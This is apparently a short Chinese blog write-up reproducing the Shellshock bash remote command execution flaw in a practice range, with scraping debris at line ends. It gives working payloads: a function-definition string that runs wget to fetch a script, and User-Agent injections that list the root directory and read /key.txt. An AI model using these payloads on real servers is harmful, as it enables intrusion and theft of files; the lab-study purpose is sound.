漏洞復現——bash遠程解析命令執行漏洞

漏洞描述:Bash腳本在解析某些特殊字符串時出現邏輯錯誤致使能夠執行後面的命令,在一些cgi腳本中,數據是經過環境變量來傳遞的,這樣就會造成該漏洞shell

漏洞原理:bash經過以函數名做爲環境變量名,以「(){」(bash只有在遇到特殊的環境變量纔會觸發該漏洞)開頭的字串做爲環境變量的值來將函數定義導出爲環境變量。而該漏洞就在於BASH處理這樣的「函數環境變量」的時候,並無以函數結尾「}」爲結束,而是一直執行其後的shell命令。 好比:(){:;};wget http://127.0.0.1/test.sh 服務器在處理這個請求的時候,會執行wget命令,就會把這個test.sh下載下來bash

漏洞攻擊:抓包修改user-agent內容服務器

漏洞防護:升級版本:函數

示例:在一個靶場復現該漏洞網站

第一種方法:spa

這是一個存在該漏洞的網站,咱們須要去找一下有cgi的頁面,以下圖:3d

抓包,將User-Agent的改爲  () { :;}; echo; /bin/ls /
blog

"/bin/ls /"是調用ls查看全部文件字符串

 

 查看key.txt:() { :;}; echo; /bin/cat /key.txt,成功獲得keyget

相關文章
相關標籤/搜索